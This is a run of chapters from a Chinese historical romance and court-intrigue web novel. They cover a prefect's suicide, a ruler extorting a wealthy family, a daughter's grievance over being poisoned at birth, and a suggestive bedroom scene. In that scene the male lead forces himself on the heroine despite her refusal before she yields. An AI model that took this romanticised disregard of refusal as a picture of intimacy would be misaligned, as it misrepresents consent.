安努尔平平道:“大人将心放入肚中,徽城外皆是我十三岭的人。”
当真是想不到,此人竟是呼延氏,怪道同阿念姐弟相称,当年少帝八岁入梁为质,十五而归。
可惜了,连安努尔也不得不承认,呼延吉确实为一雄主,胸有气吞**之象,眉目间隐现山河峥嵘,假以时日,夷越在他的统管下,必能海宇清宁,万国来朝。
却不得不夭折于此,命该如此,怨不得。
羯庸得了这话,面色又变,转看向上首的呼延吉,厉声道:“狂徒安敢僭越!我夷越少帝天威煌煌,你这竖子竟称天家血脉,此刻你若自断舌根伏于阶下认罪,本官可赐鸩酒,全你尸身。”
呼延吉身子微微前倾,双肘搁于膝上,姿态十分随性,眼睛看向安努尔,话却是对羯庸说,好似友人叙谈一般:“你同匪贼一路,朵家的朵尔罕可知晓?”
他调兵遣将,可不只是为了抓一个小小府令,而是要拽出更大的鱼,五上姓一日不除,他的皇权一日不稳。
为官之人,哪有直愣的,有些话是死也不能宣之于口,羯庸冷冷地笑道:“死到临头还敢胡言乱语,来人,将人拿下!”
说罢,厅外却没有任何回音,没有任何人影,只有院里的树叶被风刮得掀腾翻覆,沙沙……沙沙……
呼延吉缓缓站起身,也就是这一起身,羯庸跌倒在地,他知道完了,自己彻底完了……
“我再问你,同匪贼勾结,这里面是否有朵尔罕授意?说!”呼延吉一步一步下阶,每进一步,都是羯庸生命的流逝。
往日倨傲的徽城府令现下却像烙铁上的水珠子,滋啦滋啦,惶乱滚窜,最终连丝烟气也不冒就没了,谁也救不了。
他闭口不说,死他一人,算是最好的结果,家眷还能保全,思及此,猛地起身,往屋柱上一撞,血溅满地,颓倒于地,指尖还在颤动,七魂已投望乡台。
呼延吉“啧”了一声,拿出帕子擦了擦脸上的血点,将帕子掷到尸体之上,转而看向安努尔:“他不是兵,我才是。”
安努尔面色看不出什么情绪,只问了一句:“我的人呢?”
“哪儿还有什么人?死得差不多了。”
直到这一刻,安努尔的神色才有了异动,匪寨是他多年以来的心血,就这么被清剿了。
呼延吉朝外招了一下手,立时进来几人。
“带他下去,看好了。”
安努尔并未反抗,而是低头嗤笑一声,说了一句不和调的话:“延吉,你对她,根本不是爱……”
第105章 快停下,我怕痒
安努尔冷笑一声,直言呼延吉对江念根本不是爱,不仅如此,还反问一句:“你爱她?”
明明是发问,可那语气却是笃定的。
呼延吉收起无谓的态度,反问:“你说呢?”
“她若不是现在这个样子,而是贱入泥尘,你还爱?”就如同他当初见到赛依拉蓬着头从黄泥屋出来,他接受不了,更接受不了她委身于那样的腌臜汉,从那一刻起,在他心里她便不是她了,从清风变成了浊气。
呼延吉顿了一顿,认真道:“她什么样子,我都见过,别说贱入泥尘,就是化成尘泥,我也会把它当成燃尽的佛前香灰,虔诚供奉。”
安努尔腮骨微突,内心翻覆,他原也有爱人,被他弄丢了,然而男人面上却不显,他最擅攻心,一计不成,又生一计。
他不好过,自然也不会让呼延吉好过,他让他吃了一记大亏,毁了他多年以来的心血,他自然要回以一礼,在呼延吉心里埋下一颗惴惴的种子,在猥葸和狐疑中,这粒种子终会破土而出。
安努尔向呼延吉逼近一步:“你不爱她,不,应该说你对她的爱算不上爱。”
“什么意思?”
“一个八岁的小儿,异国他乡,恓惶的生活总要找个依靠,如果我猜得不错,江念便是你的依靠,你习惯有她,有她在,你便寝食安稳,这怎么能是爱呢,如雾里看花,这是依恋,你对他是亲人的依恋。”
男人看透了一切,继续道:“你身上一定缺了某部分情感,正巧江念弥补了你这一部分的缺失。”
“延吉,你比我更可怕、更自私,我耍弄手段确实卑劣,可你比之我更甚,你假作爱她,以爱之名将她困在你的身边。”
呼延吉冷冷盯着安努尔:“说完了?”
安努尔还有最后一击,直戳要害:“你以她为饵,诱我上钩,引出羯庸,以此达到你的目的。”说着男人一声轻笑,“这就是你的喜爱,真正喜爱一人,怎会忍心让她处于危境,牢房是什么地方,她在里面会发生何事?受辱?受刑?你不会没想过,可你仍是弃她不顾,都说王者之心如九渊,当真难测呐!”
事情是这么个事情,可话不是这等说,呼延吉确实晚了三两日才行动,那是他量准安努尔不会伤江念,况且他事先买通狱卒,真若有事,他不会不知晓,但安努尔把话往偏了说,那意味就大不一样。
呼延吉仍是面无表情,半个字也不接:“说完了?”
安努尔笑了笑,不再开口。
“带他下去!”呼延吉喝了一声。
安努尔此计不可谓之不阴毒,先把你的火气拱起,结出暗疮,那暗疮又疼又痒地附在皮肤上,日渐肿大,直到有一日,它熟了,破了,流下黄白的脓液。
可他算错了一点,呼延吉不会让这种恶心人的东西久附在身上,很快就用他的方式挑破了……
……
江念等人回了桂花巷,情姑请了大夫来,给自家男人诊治,伤得有些重,不过没有危及性命,需好长一段时日调养。
秋月烧了热水,给江念清洗身子,去除晦气,把她穿过的衣服烧了。
然后服侍她睡下,秋月看着床上的江念,在牢里不过几日,人眼见得瘦了,打下半边帐幔,出了屋。
“念念阿姐睡……睡下了?”珠珠问道。
秋月点点头,低声道:“你我手脚放轻些,莫要吵到她。”
珠珠点了点头。
正说着,院门被一把推开,进来一人,正是呼延吉,只见男人面色沉沉,有些难测。
“出去!”
秋月同珠珠神魂一震,不知该当如何,秋月只得上前恭声道:“小阿郎,阿姑才睡下……”
然而话音刚落,男人又是一声呵斥:“滚出去!”
秋月见男人面色似是不对,不知因何生恼,有些担忧,却又不得不携着珠珠退出院外。
院外守着护卫,院门紧闭,两人只好坐到歪脖子树下候着。
江念睡得并不很沉,在那样一个阴湿的地方待几日,好似再次回到梁国沦为阶下囚的日子,噩梦一般想醒却不能醒。
下一瞬,她猛然睁开眼,心中的惊悸还未平定,就见床边立着一个人,慌了一神,再看,却是呼延吉,他就那么一霎不霎地低睨着她,男人高健的身体将床前的光挡去大半。
“吉儿,你站在这里干什么?”
江念缓缓撑起半边身体,刚要说什么,却惊诧双眼呆在那里。
只见呼延吉先是松开护袖,掷到一边,再解开腰带,扯掉外衫。
男人做这些的同时,一双眼一直看着床上的江念,江念昏沉的脑子瞬间炸响,明白过来他要做什么,就要起身下榻,却被呼延吉拦腰丢回床上。
“你疯了么?”江念有些气了。
“哪里疯了,你早晚是我的人,咱们现在把事情办了也是一样。”男人一把挥下另半边床帐,入到帐内。
霓色的青纱帐将榻间笼成淡淡的粉色,连同里面的人儿。
她察觉到他的不对劲,呼延吉对她一向克制,今日却是两样,于是换了一种语气:“吉儿,你告诉我,是不是发生了什么事?或是有人说了什么?”
呼延吉心里更显烦躁,总也压持不住。
他不想听她叫他吉儿,不想看她眼中流露出那样的光晕,好似他又在使顽性,而她要做的就是包容抚平他的玩闹。
他不给她言语的机会,倾压上去,开始解她的衣带,江念自然是不肯的,她的不配合使他动作了半晌,也没更进一步,后来干脆把手从她的衣摆舒
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弄进去,掐住她的腰肢,再颤颤往上……
他对她怎么可能是亲情,明明是喜爱,明明是爱而不得,兴许是急于求证这一点,男人的动作更显急切。
江念在呼延吉的蛮力下,挣脱不得,只觉得那双臂膀铁一般的硬,一时间又羞又恼,这么一会儿的工夫,身上已起了一层薄汗。
他手上不知轻重,有些弄疼了她,偏偏身上之人好似不觉,贪恋地埋在她肩窝处蹭来蹭去,看似无礼轻浮,实则连衣带子都颤颤地解不开。
她看着他透红的耳,左耳上一粒小小的耳洞,鬼使神差地抬起手,捏了捏那红红的耳垂,软软的,有些烫人。
女人一个简单轻柔的动作,竟叫呼延吉乖顺下来,埋在她的颈间不再乱动。
江念觉着好笑,感觉到颈间湿痒痒的,忍不住笑起来:“你快停下,我怕痒。”
呼延吉偏不听,在她的颈脖舔了一下,又用齿咬一下,牵引着她的手,喃喃说着:“阿姐……我难受,心里难受,身上也难受……”
他抬起头低低地看向她,一双琥珀色的淡眸尽是隐隐的情动,烫得江念往回一缩,那脸一瞬间飞红,一直红到耳后。
那双有力的手包裹着她的手,牵着她,引着她……
江念吓得一呼,赶紧缩回手,心跳到了嗓子眼,害怕知道那是什么,她的手简直不像自己的一样,颤抖着,又下意识地吞咽了一下,这吞咽的叽咕声在小小的纱帐间,很是应景。
他没有迫她,就那么垂着头,重新伏回她的颈间,连呼出的气息都是烫的,在她的锁骨间化成清凉的雾珠。
呼延吉觉着脑子里烧着一锅热沸的酒,晕**想着,他要不要再试一试,现在他很肯定,他对她绝对是男女之情,并非什么依恋的亲情。
他是那么想再进一步,若她还是不愿,那就作罢,总不能吓着她……
心里这么想着,一双手慢慢抚上她的小臂,再往下勾起她的指,然后牵着她的手。
这一次,她任他牵着,没再挣脱。
她能感受到他全身肌肉紧紧绷起,劲窄的腰腹蓄着力道,他的头在她的颈间埋得更低。
江念一张脸红得不能再红,眼睛热着,从来不知道,原来这种事情能让一个人失态至此,更可怕的是,她好像也被传染了,身上开始发热。
她侧过头,一双眼大大地睁着,看着他充血的耳,还有那一粒耳洞,看着他蜜色肌下透出的红。
兴许感受到她侧过来的气息,男人抬起一臂,轻轻盖住她的眼,私语蛊惑:“不要看……”
掌心下是女人如羽的眼睫,扑棱着扇动。
灵犀已透,呼延吉再不能忍。
女人耳后的红延展到脖子,连袒露出的一片雪脯也染成胭脂色……
第106章 情浓
秋月听见那个叫阿丑的让自己进去,便让珠珠等在外面,自己进去了。
一进院子就见小阿郎立在房檐下,让她打一盆热水来,待她将水打来,他却亲手接过,让她在外候着,自己进了屋。
秋月不是没经过人事的小姑娘,她从前也有个相好,两人情浓之时,便行了周公之礼,这在夷越不算什么,她们这些做丫鬟的,最后总是拉去配人。
从小阿郎将她和珠珠赶出院子,她就预感有事要发生,这会儿要水,就更加确定了她的猜测。
不过秋月料对了一半,错了一半。
屋内,江念有些呆怔,手是洗干净了,可总觉着那双手是麻的,有些重。
呼延吉看她迷懵的样子有些想笑。
江念扭头回看向他,摊开手,递到他的鼻下:“你闻闻,还有味么?”
呼延吉真就闻了一闻,摇了摇头:“洗干净了,怎么会有味,不行我再给你洗洗?”
江念摇了摇头,想起一事:“安努尔他……”
“看押住了。”呼延吉不太想提起这人。
斜光中见江念默脸不语,心瞬间提起来,追问道:“你在心疼他?”
江念横了他一眼:“倒不至于,相处了这些时日,到底还是受过他一些恩惠,他有不好的地方,可也不能为着那点子不好,把他的好给否了。”
其实呼延吉并没打算取安努尔的性命,相反,他对这人还有些欣赏,譬如狡诈诡谲、深沉缜密,掌商道,混匪道,是个人物。
不过他欣赏归欣赏,江念替他说话就不行,特别是安努尔挑拨自己和江念的那些话,尤为可恶。
这人太能洞察人心,不知不觉将别人绕进他设好的陷阱里。
呼延吉冷嗤一声:“你怎么还替他说话,那隔壁万兄的命不是命?若是我再晚一点,万兄的两条腿只怕就残了。”
江念把眼一横:“你还说这话儿,你大可以再晚来几日。”
这事呼延吉本就理亏心虚,江念一提,他便没话了。
她把手递到他的面前,两腮飞出一抹红,呼延吉握住那双柔软,点了点头:“没想把他怎么样,但也不能轻饶,总得从他身上刮一层皮肉下来才好,成日把别人当傻子,就他一人聪明,忒可恶。”
呼延吉在来的时候就派人探查过安努尔的底细,这人不能专用好和坏去评判,你说他坏罢,他给穷人施粥施米,布善施恩,你说他好罢,他又贿赂官员为自己牟取私利,借以打压比他弱势之人,手段狠戾非常人所及。
这都不算什么,真正让呼延吉决定放安努尔一马的是另一事。
安努尔虽为匪首,却从不让他手下的匪兵扰民,换句话说,乾道十三岭的匪贼全靠安努尔一手养活。
不过他也有那个财力。
江念见他那样说,问道:“什么叫刮一层皮肉下来。”
呼延吉扬起唇角:“一会儿你就知道了。”
正说着,院门被敲响。
呼延吉冷笑一声:“正说呢,就来了。”
“谁来了?”
呼延吉把江念抱到窗榻上,笑道:“让阿姐看场好戏。”说罢,转身走出房门。
江念倚坐在窗栏边,从窗隙往院子里看去。
秋月前去打开院门,看着门外之人,先是一怔,接着叫了一声:“老夫人!”
安氏进到院中,身后还跟着五六个豪奴。
老妇人满头珠翠,一脸沉穆,冷冷开口问道:“那人呢?”
正当秋月不知如何是好时,呼延吉的声音响过来:“找我?”
安氏望了过去,是一个十分年轻的男子,有些不信他那儿子败在这样一个年轻人手里,先是在他身上打量几眼,然后转过身,摆了摆下巴,院里开始进人。
皆是两人一抬,排着队一般,不停地往院子里堆入箱笼,直把院子停得满满当当,没处落脚。
已经数不清是多少抬,只知这些箱笼沉甸甸,像是装满了石头一般,然而怎么可能是石头呢,江念透过窗隙,见院子里还在进人,直到最后一抬放好,那些箱笼几乎要垒过院墙,小山似的。
安氏表情始终淡淡的:“小郎君看一看,可够?”
呼延吉漫走到其中一个箱笼前,打开,里面全是耀目的金黄,“啪——”地关了,再走到另一箱笼前,打开,全是焕彩的珍宝,“啪——”地又关了。
“依我看,老夫人并不想救儿子,心不诚呐!”呼延吉说道。
“小郎君胃口也太大了些,吃得下么?”安氏声音冷硬。
呼延吉将其中一个箱盖打开,从里面拿出一块沉沉的金条,在手里掂了掂:“这么点蝇头小利打发不了我,至于吃不吃得下……老夫人,我年轻,体格大,这些东西不够小郎我塞牙缝。”
安氏脸上仍没有多的表情,可江念看得出那不过是强自维持而已。
“小郎不如直接说个数出来,看老妇人给不给得起。”
“老夫人怕是没搞清楚状况,我要的是你安家全部家当。”
安氏听后笑了,人往往越是心虚越是害怕,越会以笑来遮掩。
“我若是不给呢?”
呼延吉说道:“你儿子在我手里,随便一条罪名都能要他的命,你安家的钱财怕也不甚干净罢,我想拿走再容易不过,何须要你同意?”
安氏并不知呼延吉的身份,但也知其不简单,或是这小郎背后还有更大的人物。
缓了一缓,一直强撑的冷静再也端持不住,眼眶微湿,敛衽弯下双膝,吃力地跪下。
“还请大人网开一面,老妇这么大一把年纪,多活一天算赚了,却只这一个儿子,若是他没了,不行……”
呼延吉看着跪在面前的老妇人,眼神有一瞬间的恍惚,不知想到什么。
接着就听安氏说道:“大人留下我安家,不叫大人失望。”
“哦,怎么个不叫我失望?”
“拿下安家容易,却无异于杀鸡取卵,只要安家在,可以为大人创造更多的进账,岂不更好?”
呼延吉等的就是她这句话,点了点头,说道:“我要安家每年八成利。”
年年征战都需大量粮秣、兵甲供给,这些都需要银子。
安氏一听,差点吐血,小小年纪,野心倒大,咬咬牙说道:“七……成……如何?”
呼延吉蹙了蹙眉,心道,这老妇人怎么回事,还跟他还上价了,也懒得同她计较,遂说道:“七成便七成。”
安氏见呼延吉应得痛快,有些后悔没多压一点,不过也算有个好结果,人保住了,家也保住了,就是有些肉痛。
安氏走后,呼延吉进到屋里,江念笑问他:“这就是你要刮人家一层皮?”
呼延吉“唔”了一声,有些惘惘的。
“怎么了?”江念问道。
呼延吉走到她的对面坐下,看了眼窗外,看似随意地说了一句:“想不到安家老夫人为她儿子能做到这个
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地步。”
“人家是母子,世上哪有母亲不为自己孩子的,任安老夫人再厉害的人物,脱不离她是一个母亲,都说母子连心,就是这个理。”
“是么?那我还真不知晓。”呼延吉笑了笑,出了房门。
江念觉着他的笑有些酸惨,可也就是一瞬。
……
江念走的前一日,情姑在自家院子里摆了一桌酒,又叫上崔致远,做了这么长时间的邻居,相互间都有些舍不得。
“小阿郎,你千万对你阿姐好些,以后不可欺负她。”情姑说道。
情姑的男人拉了自家女人一把,让她少说两句,这傻女人怎的看不出来,这两人哪是什么姐弟,分明是檀郎谢女。
情姑哪里知道,仍转头对江念说:“若你阿弟再欺负你,你就来嫂子家,嫂子家就是你家。”
江念笑着看了呼延吉一眼,有些得意的意味,点头道:“那就多谢嫂子了,京都离徽城不算远,待我日后有空就来看你。”
“那敢情好,我守着铺子成日也走不开身,下面还拖着一个小子,你能来看我最好不过。”
呼延吉看向崔致远,给了他一封举荐信:“你拿这个去兀良府。”
崔致远怔了怔,接过书信,迟疑道:“京都兀良府?”
“不然还有哪个兀良府。”
崔致远看了那封举荐信一眼,仍是不敢相信:“右大臣兀良哈的府邸?”
呼延吉点点头,他给他一条道,能走到哪里得凭他自己的本事了,说不定这个崔致远他以后用得上。
崔致远一颗心跳得欢快,赶紧自己给自己倒了一杯酒,一口灌下,压了压,再次看向呼延吉的目光就有些不一样了,能给京都兀良府写举荐信,绝非一般人能办到。
崔致远心里十分感激,一连敬了呼延吉好几杯,喝到最后,痛哭流涕起来。
就这么的,几人吃到深夜方散。
江念同呼延吉回了院子,她在前面走,他在后面跟前,她进了屋,他在后面看着。她听到他的步子停在门外,过了一会儿,却并没回他自己的屋,而是转到院子里。
透过窗隙见他坐在院中,一副懒懒的样子,高高地在石墩上支起双腿,男人面朝院门仰坐着,从她这里,可见其一小撇侧影。
他为了她,耗在这里许久,而他手上的冗杂事务定是积压如山。
她随他这一去,不知又是一番什么况景,而她隐隐觉着,呼延吉这一辈子可能注定要做个马背上的皇帝。
他在院中看星空,她枕在窗栏上看他的侧影……
次日,江念让珠珠打点好行李,也就几件衣物,更多的是一些半成的香料。
秋月回了安府,江念还有些不舍,她才来桂花巷,那丫头就在跟前伺候,做事沉稳,也不多话,该说的说,不该说的不说,进退有度,很合她的心意。
呼延吉见她眉目微蹙,以为她留恋不想走,心里就有些不快。
“才在这里住了多久,就值得你这样。”
江念回了一句:“住在这里我是欢喜的,回了你那‘山洞子’,怕再也出不来。”
“我好大一个王庭,被你说成山洞子。”
江念抿嘴笑着走出院门,同情姑等人道过别,出了巷子口,在仆从的搀扶下上了马车,马车在前后护卫的环拥下往城外行去。
这一去,她同呼延吉算是真正地绑在了一起,天涯同契阔,情丝百转,越缠越紧……
第107章 郎有情,妾有意
情姑看着人马缓缓离开,叹了一声:“看看这阵势,那小阿郎在京都肯定有不少大产业,偏我那兄弟是个眼皮子浅的,火烧火燎地把真儿叫回去,不然就促成了。”
“你真没看出来?”万年说道。
“看出来什么?”
万年进了屋,妇人不依,非叫他说个明白,追了进去。
万年摇了摇头,说道:“你呀!聪明的时候比谁都聪明,糊涂的时候比谁都糊涂。”
“怎么这样说。”
“人家阿念没同你翻脸算好的了。”
“我跟她好好的,翻什么脸,你一句不着一句,快把话说清楚。”
“你看不出来人家是郎有情妾有意,是一对璧人?”
情姑睁瞪着眼,眨了眨,把她男人的话在脑子里又过了一遍,回过味来,“哎呀”一跌脚,满脸尽是懊惭。
怪道那晚,她说看真儿同小阿郎相处得好,打算去信将她兄弟叫来,把亲事定下,她一下就恼了,还有,当初她同她去南市赶早集,她提出把真儿说给小阿郎,她也是百般推拒,不太情愿的样子。
……
车马行出徽城城门,上了乾道,地面传来轰隆隆的震动,江念掀帘往外看去。
只见前方尘土遮天蔽日,不一时,尘烟渐散处,是一群手持刀刃的响马,俱是一脸桀骜凶狠之态,百来人的队伍里一人纵马挺出,江念定目看去,那人束着半边发,另一边散着,胸前挂着彩色琅石,正是安努尔。
没了往日的端方之态,显露出匪气。
呼延吉身后的军兵立刻上前,拈箭搭弓,摆好阵势。
安努尔只当没看见,纵马缓行到阵中,看向呼延吉:“你的这个情我承了,日后若需相帮,但凭吩咐。”
呼延吉不以为意。
安努尔又望向车队中间,对着江念一笑:“阿念,他若不好,你还来找我。”
江念把身子往外探着,笑着挥了挥手。
呼延吉一回头,江念立马收了笑,老老实实地缩回马车里。
经不住安努尔又在外喊了一声:“阿念,我送你一个人。”男人抬手,这时,从后出来一人,乞乞缩缩地从匪贼帮往对面的军兵走去。
江念好奇,又把脑袋从车窗探出,往外一看,惊喜道:“秋月?”
秋月本是有些怕的,一边是匪,一边是兵,她再怎么着也是一女子,哪里见过这样的阵仗,听见江念清亮的声音,一颗心瞬间落了地,捉起裙摆,往对面跑去。
呼延吉看着那丫头跑到马车边,手脚并用一骨碌爬上车,气得差点破口大骂,好你个安努尔,果然狡诈,江念都随他回王庭了,他还要安个人在她身边。
想归这么想,可从窗隙见江念一脸兴光,嘁嘁促促跟个麻雀一样同那个叫秋月的丫头说着话,终是忍了下来。
此时,后方又传来隐隐震动,回首看去,也是呼延吉不待见的一人,不是石儿禄却又是谁,真是一个赛一个添堵。
这次石儿禄倒没多说什么,只是乘于马上,远远地看着马车驶离。
江念掀开车帘,回望向石儿禄,笑着摇了摇手,这一瞬,有些似曾相识,不过也就一刹那,转眼消散。
安努尔抬手,身后的匪贼自觉退向两边。
呼延吉引着大队人马缓缓前行,经过时,安努尔翻身下马,侧过身,迎向年轻的君王,右手叩胸,躬身垂首,他身后的百人匪贼跟着下马,右手握拳,叩胸,躬身垂首。
车马行过,缓缓远去……
……
朵氏自那日呼延吉说的一番话,才知原来自己不过是他手里的一枚棋子,而她能住在东殿,是因为她还有利用价值。
原来从他归夷之始,便已经开始筹谋,他要集中皇权,削弱五上姓势力,而她不过就是他的一块**盾牌。
若有一日,她的价值没了……朵氏不敢想,她会有什么下场。
出神间,一个侍奴走了进来,跪拜道:“禀大妃,老大人差人来问候,大妃身子一向可好,若得了空,望乞归家看望。”
朵氏静默了一会儿,说道:“知道了,下去罢。”
莱拉上前,躬身道:“大妃,老大人这是让你归府有事相商。”
“先去一趟祥云殿,同圣太后问安,再出王庭。”
莱拉应下。
一辆阔大的香车从王庭的甬道驶出,穿过喧闹的正街,再转一个岔口行了一段,停下。
这处没有喧杂的人声,很是安静,清静的道路边是一座威赫府邸,高大的院墙用褐红磨石砌成,隐约可见树梢间的朱红楼阁。
朵氏在仆人的搀扶中下了马车,府门外早已候着一排豪奴丽婢,见了朵氏,俱上前恭迎。
这时从旁上前一人,手里推着轮车,停在朵氏跟前。
朵氏轻斜一眼,挥手示意不用,那人迟疑了一会儿,又将轮车推走。
莱拉见此,就要上前搀扶朵氏,亦被朵氏挥开,然后缓缓走进这座红色的高门大府。
莱拉看着主子强撑的背影,唯有嗟叹,这一进去不知又要遭受什么……
门子在前引路,两边草植葳蕤,朵氏在一众奴仆的簇拥下穿过两道庭院门,就到了内宅,风中吹来一阵清灵灵的笑声,朵氏侧头去看,就见凉亭内轻粉的人影闪现,很是欢快的模样。
那轻粉的身影可真是刺眼,还有那欢快的笑声,同从前一样令她作呕。
朵氏冷冷地收回眼,继续往前行,行到正院时,朵氏之母,已引着一众女眷奴仆在正院门前候着。
朵氏之母虽已不再年轻,尤其一双眼,微微暗浊,显得整个人神态苍郁。
按朵母之龄,就算青春不再,也不该呈现这副老态,比那市井妇人还不如。
朵母引着众人向朵氏行礼,朵氏忙将她母亲搀扶起身。
“母亲大人不必如此,此次回府是私归,无需太多礼数讲究。”
朵母起身,握住朵氏的手,往她脸上端相,问道:“瞧你气色比从前好了。”说着,再将她从头到脚看一眼,微笑道,“看着越来越好了,也不用轮车。”
朵氏点头:“大
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王替我寻了神医,经这几年调治,已是同常人无异。”
母女二人在奴仆的环伺下携手进到屋内,对坐着阔叙寒温,说了一会儿,就有仆人打帘进来,立在门首处。
朵氏看了那人一眼,同她母亲说道:“女儿让人送出来的那药,可还在吃?”
“在吃,在吃。”
“若是不够了,我再差人送出来一些。”
朵母笑道:“怎么不够,常常还没吃上一半,你又让人送新的来。”
朵氏点头,又看了眼门首之人,朵母也跟着看去,转头道:“去罢,你父亲等着你。”
朵氏起身,朵母将她送到屋外,看她走向另一处院子,看着看着眼眶就红了,那衣袖下的手狠狠地掐着,这么多年了,这心底的恨太难平。
“夫人,进屋罢,莫要吹着风。”一边的老仆妇说道。
朵母深深吸一口气,转身进了屋。
朵氏在仆从的引领下往前走着,走到一处院落,这里的房体俱是褐红色,比外面的颜色更深,像是血染的。
“老爷在书房,大妃请入内叙话。”仆从说道。
朵氏冷笑:“不进去通报一声?我可在外候着。”
仆从并不言语,仿佛朵氏多此一问。
朵氏面色一沉,照着那仆从就是一耳刮:“狗东西,在我跟前摆款拿架子!”
仆从连说不敢。
朵氏一甩袖,上到台阶,门前的小厮叩了两下门,低声道:“老爷,朵姑回了。”
朵氏眼一暗,不论她是什么身份,她在这个院子,永远是朵姑,老大人这是提醒她呢,让她别忘了自己原来的身份。
父亲叫她归家,绝非念女心切,一定另有目的。
门前小厮敲响房门后,门里一直没有回音,那小厮便垂首静立在那里。
朵氏立在门前,等着,约莫等了一炷香的工夫,莱拉看不过,上前搀扶住朵氏:“大妃,在院子里坐着等罢。”
朵氏摇了摇头,她若坐回院子,这一炷香便白等了。
女人浅蜜的肤色开始透出不正常的白,额上沁出细汗,身子晃了晃,腰背却挺得笔直。
就在她快撑不住时,门内传来一道微哑的声音:“谁来了?”
朵氏提起面色:“父亲,女儿回了。”
“嗯,进来罢。”
朵氏推门而入,一进屋内,里面光线并不很亮,一张大大的桌案后坐着一人。
男人五十来岁的样子,蓄着短须,听见动静,这才从桌案抬起头,看了一眼案边的座椅,示意朵氏坐下。
朵尔罕看着眼前的女儿,开口道:“听闻这两年你病症好些了,怎的现下面色仍是不好?”
“是好了不少,兴是有些热着了。”
男人点了点头,又问:“去见过你母亲了?”
“见过了。”
朵尔罕“嗯”了一声,又问了几句无关痛痒的话,终于进入正题。
“大王从梁国归来已有五年,你却一直以君王之嫂寡居于东殿,可是大王不愿立你为妃?只管从实说来……”
第108章 俘获君王心
在来之前,朵氏已有所准备,她不能让朵家觉着她没有利用价值,而呼延吉也正是看中了她的价值,才让她留于东殿,若她离了王庭,等待她的便是转嫁,这是她不愿的。
“父亲也知道大王那性子,同她兄长相似,一心扑在家**事之上,又常年征战在外,能在王庭歇上半年,已是难得,况女儿这个身体也有些不争气,难以幸渥恩泽,王怜女儿体弱,这才迟迟不立妃位。”
朵尔罕面上并未有太大的表情,似在听那话,又似把朵氏的话撇在一边,去想其他的事情。
“你如今扯起慌来,倒是不脸红了。”
朵氏一惊,看向上首,急道:“女儿句句实言,父亲再思,主上春秋鼎盛,内廷却妃位虚空,实乃君王之眷顾,怕女儿忧思郁结,这才迟迟不立妃。”
朵尔罕压了压眼皮,并不追究这话的真假,真假对他来说不重要。
朵氏的目光轻轻从她父亲面上扫过,父亲这个人,她从来看不透,只要他心里定下计议,无论多诚恳的话语,很难撼动他,她不知他接下来会说什么。
她把自己的境况想了一遍,又把她父亲可能会提及的问题预想了一遍,然而真当面对这位老大人时,她还是没法泰然自若。
男人叹道:“既然如此,倒真是难为君王对你的一片真情,你需得早些将身子调理好,大王虽正值青春,内廷妃位虚空总是不行。”
“是。”朵氏刚刚松下一口气,那气还没松完,就听她父亲接下来的话。
“妲儿同你年岁相当,让她入王庭陪陪你罢。”
朵氏眼珠颤了颤,面色又是一白,勉强扯出一抹笑:“妲儿她怎能进王庭……”
“这就要看你的能耐了,你也不要多想,不过是让她在你跟前住些时日,你身子不是一向不大好么,她性子乖巧,让她在你跟前讨讨欢心,你这个当姐姐的对家中姊妹也要看顾着一点。”
朵氏上下牙磕碰着,嘴里的肉已被咬出了血,一股子恶心人的味道。
父亲让朵妲儿进王庭是何用意,呵!终归是不信她的话,又或是她已是一枚弃子,朵家不打算用她了,预备让朵妲儿顶替她的位置。
“父亲是让她到我跟前讨欢心,还是来恶心我?”朵氏冷笑道。
朵尔罕把眼一抬,本就不温情的声音,压得更低:“直到现在你还在记恨,这点子事,你要记恨一辈子?!”
“这点子事?”朵氏笑出声,心底的愤再也压不住,“我为何打从娘胎出来就身带毒素,这么个要死不活的身子拜谁所赐?!儿时,别人玩闹我只能坐轮车,每每出街,我的脚都不敢落地,别人看天是天,是蓝色,看花是花,是艳丽,但是父亲,你知道我看到的是什么?我担心下一瞬就会闭眼,再也醒不过来。”
朵氏吁出一口气,颤声道:“那些多彩的颜色在我面前就像蒙着一层影,我知道它们的颜色,但我知道它们一定不是我看到的那样,一定比我看到的更亮更艳,我的眼前永远有一层纱,有时候我恨不得想把这眼珠子挖去。”
“还有……再美味的珍馐,我只觉得恶心,别人能体味的美好,到我这里都是丑的!只能让仆人将我抬到市井,看那些贱民吃贱食,看他们吃得开心,我就开心,那就是我尝到的美味,是谁?是谁夺走了我作为一个正常人的感官?父亲,你告诉我?”
男人不语,眼皮微微阖着,看不清眼底的情绪,蜡样的面容亦看不出喜怒。
朵氏讥笑一声,好似在笑自己:“要死不活地就连生气也不行,不能太过高兴,不能太过生气,用那些老医头的话就是,不能有大的情绪起伏,所以女儿学乖了,哪怕处置那些贱奴,也要微笑着,他们死他们的,女儿只需做一个看客,看着他们死就好。”
“若不是那个**,母亲的身子也不会枯得这样快。”朵氏两拳握起,“您现在却让**的女儿到我跟前讨我欢心?”
当年那**在食物里**,母亲吃了,致使她一出生就带有胎毒,母亲的身体也因毒素侵蚀每况愈下。
最可恨的是,这**当时也怀了身孕,因此免受罪责,后来**生下一女,便是朵妲儿,父亲便把****一事给淡了,好似从未发生过一样。
直到三年前,**才身染恶疾而死,这更是她心头的意难平。
朵氏平了平心头的气恨,望向上首,等着来自父亲的歉意,哪怕那只是一个愧意的眼神也好,然而终是她奢望了。
朵尔罕抬眼,问了一声:“说完了?”
朵氏一声不再言语,上首之人接下来的一句话直接将她煞在那里。
“你不是还没死么。”
朵氏脸上血色尽褪。
朵尔罕又道:“你生来有吃有喝,顶着朵氏贵女的名头,奴仆环伺,还有什么不知足?”
朵氏一腔子的郁愤往心底化去,不再表露出来。
“女儿没有不知足。”
“可还有什么话说?”
朵氏垂下眼,淡淡道:“无话,父亲尽可放心,女儿会想办法将妲儿带入王庭。”
直到此刻,朵尔罕脸上才露出一丝欣然:“去罢。”
朵氏起身行过退礼,出到屋外。
莱拉见朵氏出来,赶紧上前将她搀扶,才一搭上,那手将她的腕子狠狠攫住,尖利的指甲戳破皮肉。
“回王庭。”
“大妃不再看一看夫人?”
“不了,我有些透不过气。”
莱拉应下,瞥眼间见女人上下唇缝一抹血色,不敢再看,敛气屏声扶着朵氏往府外行去。
经过那园子时,淡淡的笑语仍在,和着风轻轻传来,正待离开时,笑语叫住她。
“阿姐?”
不一时,粉色的身影蹁跹而来,女子星眼流波,细弯弯的眉,面貌同朵氏有五分相似,可给人的感觉却很不一样,她有着朵氏没有的鲜活气。
女子鼻尖沁出细细香汗,弯腰抚着膝,微喘了两下,再直起身,扬起唇角,笑道:“阿姐几时回的?”
